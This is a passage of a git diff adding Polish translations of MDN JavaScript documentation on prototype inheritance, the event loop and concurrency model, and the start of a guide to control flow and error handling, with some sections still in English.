+console.log(o.b); // 2 +// Czy istnieje własna właściwość 'b' obiektu o? Tak, jej wartość to 2. +// Prototyp także ma właściwość 'b', ale nie jest ona brana pod uwagę. +// Nazywa się to "zakrywaniem właściwości" (ang. property shadowing) + +console.log(o.c); // 4 +// Czy istnieje właściwość 'c' obiektu o? Nie, sprawdź prototyp. +// Czy istnieje właściwość 'c' obiektu o.[[Prototype]]? Tak, jej wartość to 4. + +console.log(o.d); // undefined +// Czy istnieje właściwość 'd' obiektu o? Nie, sprawdź prototyp. +// Czy istnieje właściwość 'd' obiektu o.[[Prototype]]? Nie, sprawdź prototyp. +// o.[[Prototype]].[[Prototype]] to null, koniec wyszukiwania. +// Nie znaleziono właściwości, zwróć undefined. +</pre> + +<p>Ustawienie właściwości obiektu tworzy własną właściwość. Jedyny wyjątek od reguł pobierania i tworzenia właściwości stanowi przypadek gdy istnieje odziedziczona właściwość z <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters" title="Defining Getters and Setters"> getterem lub setterem.</a></p> + +<h3 id="Dziedziczenie_metody">Dziedziczenie "metody"</h3> + +<p>JavaScript nie ma "metod" w rozumieniu języków obiektowych. W JS każda funkcja może być dodana jako właściwość do obiektu. Odziedziczona funkcja zachowuje się jak każda inna właściwość, wliczając w to zakrywanie właściwości, tak jak pokazano wyżej (w tym wypadku forma <em>nadpisania metody</em>).</p> + +<p>Kiedy jest wykonywana odziedziczona metoda, wartość <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="this">this</a></code> wskazuje na obiekt, który dziedziczy, nie na obiekt w którym ta metoda została zadeklarowana jako własna właściwość</p> + +<pre class="brush: js">var o = { + a: 2, + m: function(b){ + return this.a + 1; + } +}; + +console.log(o.m()); // 3 +// Podczas wywołania o.m, 'this' wskazuje na o + +var p = Object.create(o); +// p jest obiektem dziedziczącym z o + +p.a = 12; // tworzy własną właściwość 'a' w obiekcie p +console.log(p.m()); // 13 +// Podczas wywołania p.m, 'this' wskazuje na p. +// p dziedziczy funkcję m z obiektu o. +// 'this.a' oznacza p.a, własną właściwość 'a' obiektu p. +</pre> + +<h2 id="Różne_sposoby_tworzenia_obiektów_i_powiązane_z_nimi_łańcuchy_prototypów.">Różne sposoby tworzenia obiektów i powiązane z nimi łańcuchy prototypów.</h2> + + + +<h3 id="Obiekty_stworzone_za_pomocą_podstawowej_składni">Obiekty stworzone za pomocą podstawowej składni</h3> + +<pre class="brush: js">var o = {a: 1}; +// Nowo stworzony obiekt używa Object.prototype jako swojego [[Prototype]] +// o nie posiada właściwości o nazwie 'hasOwnProperty' +// hasOwnProperty jest własną właściwością Object.prototype. +// o dziedziczy hasOwnProperty z Object.prototype +// Object.prototype ma null jako swój prototyp. +// o ---> Object.prototype ---> null + +var a = ["yo", "whadup", "?"]; +// Tablice dziedziczą z Array.prototype +// (który zawiera metody takie jak indexOf, forEach, itd.) +// Łańcuch prototypów wygląda następująco: +// a ---> Array.prototype ---> Object.prototype ---> null + +function f(){ + return 2; +} + +// Funkcje dziedziczą z Function.prototype +// (który zawiera metody takie jak call, bind, itd.) +// f ---> Function.prototype ---> Object.prototype ---> null +</pre> + +<h3 id="Za_pomocą_konstruktora">Za pomocą konstruktora</h3> + +<p>"Konstruktor" w JavaScript jest "tylko" funkcją, której używa się w połączeniu z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="new">operatorem new</a>.</p> + +<pre class="brush: js">function Graph() { + this.vertices = []; + this.edges = []; +} + +Graph.prototype = { + addVertex: function(v){ + this.vertices.push(v); + } +}; + +var g = new Graph(); +// g is an object with own properties 'vertices' and 'edges'. +// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed. +</pre> + +<h3 id="Za_pomocą_Object.create">Za pomocą <code>Object.create</code></h3> + +<p>ECMAScript 5 wprowadził nową metodę: {{jsxref("Object.create()")}}. Wywołanie tej metody tworzy nowy obiekt. Jego prototypem staje się pierwszy argument tej metody:</p> + +<pre class="brush: js">var a = {a: 1}; +// a ---> Object.prototype ---> null + +var b = Object.create(a); +// b ---> a ---> Object.prototype ---> null +console.log(b.a); // 1 (inherited) + +var c = Object.create(b); +// c ---> b ---> a ---> Object.prototype ---> null + +var d = Object.create(null); +// d ---> null +console.log(d.hasOwnProperty); +// undefined, because d doesn't inherit from Object.prototype +</pre> + +<div> +<h3 id="Za_pomocą_słowa_kluczowego_class">Za pomocą słowa kluczowego <code>class</code></h3> + +<p>ECMAScript 6 wprowadził zestaw nowych słów kluczowych do implementacji <a href="/en-US/docs/Web/JavaScript/Reference/Classes">klas</a>. Mimo, że konstrukcje te mogą wydawać się znajome programistom języków opartych na klasach, nie są one tym samym. JavaScript wciąż opiera się na prototypach. Nowe słowa kluczowe to {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} oraz {{jsxref("Operators/super", "super")}}.</p> + +<pre class="brush: js">"use strict"; + +class Polygon { + constructor(height, width) { + this.height = height; + this.width = width; + } +} + +class Square extends Polygon { + constructor(sideLength) { + super(sideLength, sideLength); + } + get area() { + return this.height * this.width; + } + set sideLength(newLength) { + this.height = newLength; + this.width = newLength; + } +} + +var square = new Square(2); +</pre> + +<h3 id="Wydajność">Wydajność</h3> + +<p>Czas dostępu do właściwości znajdujących się wysoko w łańcuchu prototypów może negatywnie wpływać na wydajność, co może mieć znaczenie w przypadku kodu, którego szybkość wykonania jest krytyczna. W dodatku próba dostępu do nieistniejącej właściwości zawsze powoduje przeszukanie pełnego łańcucha prototypów.</p> + +<p>Kiedy iterujemy po właściwościach obiektu, sięgamy do <strong>każdej</strong> właściwości widocznej w łańcuchu prototypów.</p> + +<p>Aby sprawdzić czy obiekt ma właściwość zdefiniowaną na nim samym, a nie gdzieś w łańcuchu prototypów, konieczne jest użycie metody <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a>, którą wszystkie obiekty dziedziczą z <code>Object.prototype</code>.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> jest w JavaScript jedyną rzeczą, która działa na właściwościach obiektu <strong>nie</strong> przeszukując łańcucha prototypów.</p> + +<p>Uwaga: sprawdzenie czy właściwość jest <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> <strong>nie </strong>wystarczy. Właściwość może istnieć, a jedynie mieć akurat wartość ustawioną na <code>undefined</code>.</p> +</div> + +<h3 id="Zła_praktyka_Rozszerzanie_natywnych_prototypów">Zła praktyka: Rozszerzanie natywnych prototypów</h3> + +<p>One mis-feature that is often used is to extend <code>Object.prototype</code> or one of the other built-in prototypes.</p> + +<p>This technique is called monkey patching and breaks <em>encapsulation</em>. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional <em>non-standard</em> functionality.</p> + +<p>The <strong>only</strong> good reason for extending a built-in prototype is to backport the features of newer JavaScript engines; for example <code>Array.forEach</code>, etc.</p> + +<h2 id="Przykład">Przykład</h2> + +<p><code>B</code> shall inherit from <code>A</code>:</p> + +<pre class="brush: js">function A(a){ + this.varA = a; +} + +// What is the purpose of including varA in the prototype when A.prototype.varA will <em>always</em> be shadowed by +// this.varA, given the definition of function A above? +A.prototype = { + varA : null, // Shouldn't we strike varA from the prototype as doing nothing? + // perhaps intended as an optimization to allocate space in hidden classes? + // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables + // would be valid if varA wasn't being initialized uniquely for each instance + doSomething : function(){ + // ... + } +}; + +function B(a, b){ + A.call(this, a); + this.varB = b; +} +B.prototype = Object.create(A.prototype, { + varB : { + value: null, + enumerable: true, + configurable: true, + writable: true + }, + doSomething : { + value: function(){ // override + A.prototype.doSomething.apply(this, arguments); // call super + // ... + }, + enumerable: true, + configurable: true, + writable: true + } +}); +B.prototype.constructor = B; + +var b = new B(); +b.doSomething(); +</pre> + +<p>The important parts are:</p> + +<ul> + <li>Types are defined in <code>.prototype</code></li> + <li>You use <code>Object.create()</code> to inherit</li> +</ul> + +<h2 id="prototype_and_Object.getPrototypeOf"><code>prototype</code> and <code>Object.getPrototypeOf</code></h2> + +<p>JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.</p> + +<p>You probably already noticed that our <code>function A</code> has a special property called <code>prototype</code>. This special property works with the JavaScript <code>new </code>operator. The reference to the prototype object is copied to the internal <code>[[Prototype]]</code> property of the new instance. For example, when you do <code>var a1 = new A()</code>, JavaScript (after creating the object in memory and before running function <code>A()</code> with <code>this</code> defined to it) sets <code>a1.[[Prototype]] = A.prototype</code>. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in <code>[[Prototype]]</code>. This means that all the stuff you define in <code>prototype</code> is effectively shared by all instances, and you can even later change parts of <code>prototype</code> and have the changes appear in all existing instances, if you wanted to.</p> + +<p>If, in the example above, you do <code>var a1 = new A(); var a2 = new A();</code> then <code>a1.doSomething</code> would actually refer to <code>Object.getPrototypeOf(a1).doSomething</code>, which is the same as the <code>A.prototype.doSomething</code> you defined, i.e. <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p> + +<p>In short, <code>prototype</code> is for types, while <code>Object.getPrototypeOf()</code> is the same for instances.</p> + +<p><code>[[Prototype]]</code> is looked at <em>recursively</em>, i.e. <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> etc., until it's found or <code>Object.getPrototypeOf </code>returns null.</p> + +<p>So, when you call</p> + +<pre class="brush: js">var o = new Foo();</pre> + +<p>JavaScript actually just does</p> + +<pre class="brush: js">var o = new Object(); +o.[[Prototype]] = Foo.prototype; +Foo.call(o);</pre> + +<p>(or something like that) and when you later do</p> + +<pre class="brush: js">o.someProp;</pre> + +<p>it checks whether <code>o</code> has a property <code>someProp</code>. If not it checks <code>Object.getPrototypeOf(o).someProp</code> and if that doesn't exist it checks <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> and so on.</p> + +<div> +<h2 id="Na_zakończenie">Na zakończenie</h2> + +<p>It is <strong>essential</strong> to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should <strong>never</strong> be extended unless it is for the sake of compatibility with newer JavaScript features.</p> +</div> diff --git a/files/pl/web/javascript/eventloop/index.html b/files/pl/web/javascript/eventloop/index.html new file mode 100644 index 0000000000..e61f3c2a48 --- /dev/null +++ b/files/pl/web/javascript/eventloop/index.html @@ -0,0 +1,98 @@ +--- +title: Model współbieżności i Event Loop +slug: Web/JavaScript/EventLoop +translation_of: Web/JavaScript/EventLoop +--- +<div>{{JsSidebar("Advanced")}}</div> + +<p>Model współbieżności w JavaScript opiera się o "event loop". Model ten jest lekko odmienny od spotykanego innych językach programowania takich jak C lub Java.</p> + +<h2 id="Koncepcje_środowiska_wykonawczego">Koncepcje środowiska wykonawczego</h2> + +<p>Poniższa sekcja objaśnia model teoretyczny. Nowoczesne silniki JavaScript implementują i optymalizują w dużej mierze opisaną semantykę.</p> + +<h3 id="Reprezentacja_wizualna">Reprezentacja wizualna</h3> + +<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p> + +<h3 id="Stack">Stack</h3> + +<p>Wywołania funkcji formują stos (ang. stack) <em>klatek</em>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span>b<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> a <span class="operator token">=</span> <span class="number token">10</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> a <span class="operator token">+</span> b <span class="operator token">+</span> <span class="number token">11</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> y <span class="operator token">=</span> <span class="number token">3</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> <span class="function token">foo</span><span class="punctuation token">(</span>x <span class="operator token">*</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">bar</span><span class="punctuation token">(</span><span class="number token">7</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//zwraca 42</span></code></pre> + +<p>Podczas wywoływania funkcji <code>bar</code>, tworzona jest pierwsza klatka (ang. frame), która zawiera argumenty funkcji <code>bar</code> oraz jej lokalne zmienne. Gdy <code>bar</code> wywołuje <code>foo</code>, tworzona jest kolejna klatka, która trafia na wierzch stosu. Druga klatka zawiera argumenty funkcji <code>foo</code> dla której została utworzona oraz jej lokalne zmienne. Gdy funkcja <code>foo</code> zwraca wynik działania, klatka znajdująca się na wierzchu stosu jest usuwana (pozostawiając wyłącznie klatkę wywołującą funkcję <code>bar</code>). Gdy w kolejnym kroku funkcja <code>bar</code> zwróci wynik, stos zostaje opróżniony.</p> + +<h3 id="Heap">Heap</h3> + +<p>Sterta (ang. heap) jest pojęciem opisującym duży nieuporządkowany obszar pamięci. W nim przechowywane są obiekty.</p> + +<h3 id="Queue">Queue</h3> + +<p>Środowisko wykonawcze (ang. runtime) JavaScript zawiera kolejkę wiadomości (ang. queue), która stanowi listę komunikatów do przetworzenia. Każda z wiadomości posiada przyporządkowaną funkcję, która przechowuje instrukcję przetworzenia danej wiadomości.</p> + +<p>W przeciwieństwie do stosu wiadomości są przetwarzane począwszy od najstarszej z nich (znajdującej się na początku kolejki). Przetworzenie wiadomości polega na wywołaniu odpowiadającej jej funkcji. Wywołanie funkcji powoduje stworzenie i umieszczenie na stosie nowej klatki początkowej. Przetwarzanie danej informacji zostaje zakończone, gdy nastąpi opróżnienie stosu.</p> + +<p>Gdy stos jest pusty, środowisko rozpoczyna przetwarzanie kolejnej informacji z kolejki.</p> + +<h2 id="Event_loop">Event loop</h2> + +<p>Nazwa <code>Event loop</code> wiąże się ze sposobem implementacji, który zwykle przypomina następujący schemat:</p> + +<pre class="brush: js">while(queue.waitForMessage()){ + queue.processNextMessage(); +}</pre> + +<p><code>queue.waitForMessage</code> oczekuje na wiadomość tak długo, dopóki jej nie otrzyma.</p> + +<h3 id="Run-to-completion">"Run-to-completion"</h3> + +<p>W tym modelu każda z wiadomości przetwarzana jest po całkowitym zakończeniu przetwarzania poprzedniej. Oferuje to pewne udogodnienia w analizie programu polegające na tym, że po uruchomieniu funkcji nie może zostać ona wyprzedzona oraz zostanie całkowicie wykonana przed uruchomieniem kolejnego kawałka kodu (dotyczy to również modyfikowanych przez funkcję danych). Model ten różni się od stosowanego np. w języku C, gdzie uruchomiona w danym wątku funkcja może w dowolnym punkcie zostać zatrzymana w celu uruchomienia innego fragmentu kodu w kolejnym wątku.</p> + +<p><span id="result_box" lang="pl"><span>Wadą tego modelu jest to, że jeśli wykonanie wiadomości trwa zbyt długo, aplikacja internetowa nie jest w stanie przetworzyć interakcji użytkownika, takich jak kliknięcie lub scrollowanie.</span> <span>Przeglądarka łagodzi to za pomocą okna dialogowego "skrypt trwa zbyt długo, aby uruchomić".</span> <span>Dobrą praktyką jest dążenie, aby przetwarzanie komunikatów było krótkie, a jeśli to możliwe, należy rozbić wiadomości na kilka krótszych.</span></span></p> + +<h3 id="Dodawanie_wiadomości_do_kolejki">Dodawanie wiadomości do kolejki</h3> + +<p>W przeglądarkach internetowych wiadomości są dodawane przy każdym wystąpieniu eventu z dołączonym nasłuchiwaniem. Jeżeli brak nasłuchiwania event jest gubiony. Zatem przykładowo kliknięcie na element z nasłuchiwaniem doda nową wiadomość.</p> + +<p>Funkcja <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> przyjmuje dwa argumenty: wiadomość do dodania do kolejki oraz czas (argument opcjonalny, domyślnie 0). Podany czas reprezentuje minimalne opóźnienie, po którym wiadomość trafi do kolejki. Jeżeli w kolejce nie ma innej wiadomości, zostaje ona przetworzona natychmiast po upływie danego czasu opóźnienia. Jeżeli jednak w kolejce znajdują się wiadomości, wiadomość <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> odczeka aż inne wiadomości zostaną przetworzone. Z tego powodu drugi argument tej funkcji określa czas minimalny, nie gwarantowany. </p> + +<p>Poniższy przykład ilustruje tę ideę (<code>setTimeout</code> nie zostanie uruchomiony bezpośrednio po upływie określonego czasu):</p> + + + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> s <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// zwraca "2", co oznacza, że callback nie zostaje wywołany bezpośrednio po upływie 500 millisekund.</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Uruchomiono po upływie "</span> <span class="operator token">+</span> <span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">-</span> s<span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">" sekund"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">while</span><span class="punctuation token">(</span><span class="keyword token">true</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">-</span> s <span class="operator token">>=</span> <span class="number token">2</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Ok, zapętlono na 2 sekundy"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">break</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span></code></pre> + + + +<h3 id="Several_Runtime_communicating_together">Several Runtime communicating together</h3> + +<p>A web worker or a cross-origin iframe has its own stack, heap, and message queue. Two distinct runtimes can only communicate through sending messages via the <a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage"><code>postMessage</code></a> method. This method adds a message to the other runtime if the latter listens to <code>message</code> events.</p> + +<h2 id="Never_blocking">Never blocking</h2> + +<p>A very interesting property of the event loop model is that JavaScript, unlike a lot of other languages, never blocks. Handling I/O is typically performed via events and callbacks, so when the application is waiting for an <a href="/en-US/docs/Web/API/IndexedDB_API" title="/en-US/docs/IndexedDB">IndexedDB</a> query to return or an <a href="/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a> request to return, it can still process other things like user input.</p> + +<p>Legacy exceptions exist like <code>alert</code> or synchronous XHR, but it is considered as a good practice to avoid them. Beware, <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311" title="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">exceptions to the exception do exist</a> (but are usually implementation bugs rather than anything else).</p> diff --git a/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html b/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html new file mode 100644 index 0000000000..f7121fa2a5 --- /dev/null +++ b/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html @@ -0,0 +1,380 @@ +--- +title: Przepływ danych i obsługa błędów +slug: Web/JavaScript/Guide/Control_flow_and_error_handling +tags: + - JavaScript + - Początkujący + - Przewodnik +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> + +<p class="summary">JavaScript jest językiem zawierającym w sobie szeroki wachlarz instrukcji. Część z nich odnosi się do sterowania przepływem programu <em>(</em><em>ang. control flow)</em> i może być pomyślnie użyta w celu nadania Twojej aplikacji kolejnych poziomów interaktywności. W rozdziale tym omówimy te instrukcje.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript reference</a> zawiera wyczerpujący opis instrukcji wymienionych w tym artykule. Średnik (;) jest używany do oddzielenia od siebie kolejnych poleceń w języku JavaScript. Chodź w większości przypadków brak średnika na końcu instrukcji nie powoduje błędu, by kod był jak najbardziej semantyczny, należy go tam umieszczać.</p> + +<p>Każde wyrażenie w języku JavaScript jest również instrukcją. <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a> zawiera kompletny opis wyrażeń.</p> + +<h2 id="Instrukcja_blokowa">Instrukcja blokowa</h2> + +<p>Najprostszym rodzajem instrukcji jest instrukcja blokowa, która służy do grupowania wyrażeń. Blok jest ograniczony parą nawiasów klamrowych.</p> + +<pre class="syntaxbox">{ wyrazenie_1; wyrazenie_2; . . . wyrazenie_n; } +</pre> + +<h3 id="Przykład"><strong>Przykład</strong></h3> + +<p>Instrukcje blokowe są bardzo często używane w połączeniu z instrukcjami sterującymi (np. <code>if</code>, <code>for</code>, <code>while</code>).</p> + +<pre class="brush: js">while (x < 10) { + x++; +} +</pre> + +<p>W tym przypadku, { x++; } jest instrukcją blokową.</p> + +<p><strong>Ważne</strong>: Blok w JavaScript w wersji do ECMAScript6 nie posiada własnego scope (zasięgu zmiennych). Zmienne zadeklarowane wewnątrz takiego bloku bowiem mają scope (zasięg zmiennych) związany z funkcją lub skryptem, w którym blok się bezpośrednio znajduje. Efektem tego jest to, że każda zmienna zadeklarowana w bloku istnieje również i poza nim. W innych słowach - instrukcje blokowe nie definują nowego scope (zasięgu zmiennych). Samodzielne bloki w JavaScript mogą wyprodukować zupełnie inne wyniki od tych, których moglibyśmy się spodziewać w językach takich jak C czy Java. Przykład:</p> + +<pre class="brush: js">var x = 1; +{ + var x = 2; +} +console.log(x); // wypisze 2 +</pre> + +<p>Wypisane zostanie 2 ponieważ wyrażenie var x wewnątrz bloku dzieli scope (zasięg zmiennych) z wyrażeniem var x na zewnątrz bloku. W C lub Javie, równoważny kod wypisałby 1.</p> + +<p>Począwszy od specyfikacji ECMAScript 6, za pomocą słowa kluczowego <code>let</code> mamy mozliwość tworzenia zmiennych o zasięgu blokowym. </p> + +<h2 id="Instrukcje_warunkowe">Instrukcje warunkowe</h2> + +<p>Instrukcje warunkowe są zbiorem instrukcji, które pozwalają na wykonywanie danej porcji kodu gdy warunki (parametry instrukcji) zwracają wartość true. JavaScript wspiera dwa rodzaje instrukcji warunkowych:<strong> </strong><code>if . . . else</code> oraz <code>switch</code><strong>.</strong></p> + +<h3 id="Instrukcje_if...else">Instrukcje <code>if...else</code></h3> + +<p>Instrukcja <code>if</code><strong> </strong>wykonuje blok instrukcji jeżeli jej warunki zwrócą wartość <code>true</code>. Aby obsłużyć sytuacje gdy warunki nie zostały spełnione i zwracają <code>false</code>, można posłużyć się np. instrukcją <code>else</code><strong>:</strong></p> + +<pre class="syntaxbox">if (warunki) { + intrukcja_1; +} +else { + instrukcja_2; +}</pre> + +<p>Warunkami mogą być wszystkie twierdzania które można przekształcić do typu boolean (<code>true</code> lub <code>false</code>). W powyższym przykładzie <code>instrukcja_1</code> wykona się jeśli warunki zwrócą <code>true</code>, w przeciwnym wypadku wykonana zostanie <code>instrukcja_2</code>.<br> + <br> + Za pomocą <code>else if</code><strong> </strong>można tworzyć złożone sekwencyjnie testowe oparte na wielu instrukcjach warunkowych. Jeśli <code>warunek_1</code> nie zostanie spełniony, skrypt sprawdza kolejne warianty:</p> + +<pre class="syntaxbox">if (warunek_1) { instrukcja_1; } +else if (warunek_2) { instrukcja_2; } +else if (warunek_n) { instrukcja_n; } +else { ostatnia_instrukcja; } +</pre> + +<p>Aby wykonać wiele instrukcji można je zgrupować za pomocą deklaracji bloku (<code>{ ... }</code>). Mimo, że nie jest wymagane by pojedyncze instrukcje byly zawierane w bloku, warto stosować to rozwiązanie dla lepszej czytelności kodu:</p> + +<pre class="syntaxbox">if (warunek_1) { + instrukcja_1; + instrukcja_2; +} +else if (warunek_2) { + instrukcja_3; +} +else + instrukcja_4; + // Pojedyńcze instrukcje nie wymagają zawierania ich w nawiasy. + +</pre> + +<div>Wskazane jest, by nie używać przypisywania w wyrażeniu warunków:<br> + </div> + +<pre class="example-bad brush: js">if (x = y) { + /* instrukcje */ +}</pre> + +<p>Jeśli konieczne jest użycie operatora przypisania w wyrażeniu warunku, najczęściej stosowaną praktyką jest zawieranie przypisania w dodatkowe nawiasy:</p> + +<pre class="brush: js">if ((x = y)) { + /* statements here */ +} +</pre> + +<h4 id="Wartości_false">Wartości false</h4> + +<p>Poniższe wartości użyte w wyrażeniu warunku zostaną przekształcone w wartość <code>false</code>:</p> + +<ul> + <li><code>false</code>, zmienna typu Boolean</li> + <li><code>undefined</code></li> + <li><code>null</code></li> + <li><code>0</code>, zmienna typu Number</li> + <li><code>NaN</code>, zmienna typu Number</li> + <li><code>""</code>, zmienna typu String</li> +</ul> + +<p>Wszystkie inne wartości, włączając w to wszystkie obiekty, zostają przekształcone do wartości <code>true</code>.</p> + +<p>Nie należy mylić pierwotnych wartości <code>true</code> i <code>false</code> z wartościami <code>true</code> i <code>false</code> obiektu {{jsxref("Boolean")}}:</p> + +<pre class="brush: js">var b = new Boolean(false); +if (b) // Warunek zwróci wartość true gdyż zmienna b jest obiektem +if (b == true) // Warunek zwróci wartość false +</pre> + +<h4 id="Przykład_2"><strong>Przykład</strong></h4> + +<p>Następujący przykład przedstawia funkcje <code>checkData</code>, która zwróci <code>true</code> jeżeli liczba znaków w wartości elementu <code>threeChar</code> jest równa <code>3</code>, w przeciwnym wypadku zostanie wyświetlony alert i zwrócona wartość <code>false</code>.</p> + +<pre class="brush: js">function checkData() { + if (document.form1.threeChar.value.length == 3) { + return true; + } else { + alert("Enter exactly three characters. " + + document.form1.threeChar.value + " is not valid."); + return false; + } +} +</pre> + +<h3 id="Instrukcja_switch">Instrukcja <code>switch</code></h3> + +<p>Instrukcja <code>switch</code> pozwala na wykonanie bloku instrukcji jeśli podana wyrażenie zgadza się z identyfikatorem danego bloku. Gdy użyte zostanie słowo kluczowe <code>break</code>, switch wykonuje tylko instrukcje dopasowanego bloku. Bez niego wykonywane są wszystkie bloki poniżej dopasowania. Taka kaskadowość jest w wielu sytuacjach użyteczna.<br> + W przypadku gdy wyrażenie nie zostanie dopasowane do żadnego identyfikatora, wykonywany jest kod z bloku o identyfikatorze <code>default</code>. Default nie jest obowiązkowy i może zostać pominięty.</p> + +<pre class="syntaxbox">switch (wyrażenie) { + case identyfikator_1: + instruckje_1 + [break;] + case identyfikator_2: + instrukcje_2 + [break;] + ... + default: + instruckje_def + [break;] +} + +</pre> + +<h4 id="Przykład_3"><strong>Przykład</strong></h4> + +<p>W następującym przykładzie, jeśli <code>fruittype</code> przekaże wartość "Bananas", program dopasuje ją do bloku z identyfikatorem "Bananas" i wykona instrukcje które zostały w tym bloku zdefiniowane. Po napotkaniu i wykonaniu instrukcji <code>break</code>, program przerywa działanie instrukcji switch. Gdyby w bloku "Bananas" nie występował break, zostałyby wykonane również instrukcje dla bloku "Cherries" i zatrzymały na tam napotkanej instrukcji <code>break</code>.</p> + +<pre class="brush: js">switch (fruittype) { + case "Oranges": + console.log("Oranges are $0.59 a pound."); + break; + case "Apples": + console.log("Apples are $0.32 a pound."); + break; + case "Bananas": + console.log("Bananas are $0.48 a pound."); + break; + case "Cherries": + console.log("Cherries are $3.00 a pound."); + break; + case "Mangoes": + console.log("Mangoes are $0.56 a pound."); + break; + case "Papayas": + console.log("Mangoes and papayas are $2.79 a pound."); + break; + default: + console.log("Sorry, we are out of " + fruittype + "."); +} +console.log("Is there anything else you'd like?");</pre> + +<h2 id="Instrukcje_obsługi_wyjątków">Instrukcje obsługi wyjątków</h2> + +<p>Możliwe jest wywoływanie wyjątków za pomocą <code>throw</code> i ich późniejsza obsługa za pomocą instrukcji <code><font face="Consolas, Liberation Mono, Courier, monospace">try...catch.</font></code></p> + +<ul> + <li><a href="#throw_statement"><code>throw</code> statement</a></li> + <li><a href="#try_catch_statement"><code>try...catch</code> statement</a></li> +</ul> + +<h3 id="Typy_wyjątków">Typy wyjątków</h3> + +<p>Praktycznie każda wartość czy obiekt może posłużyć do wygenerowania wyjątku w JavaScript. Nie mniej jednak bardziej 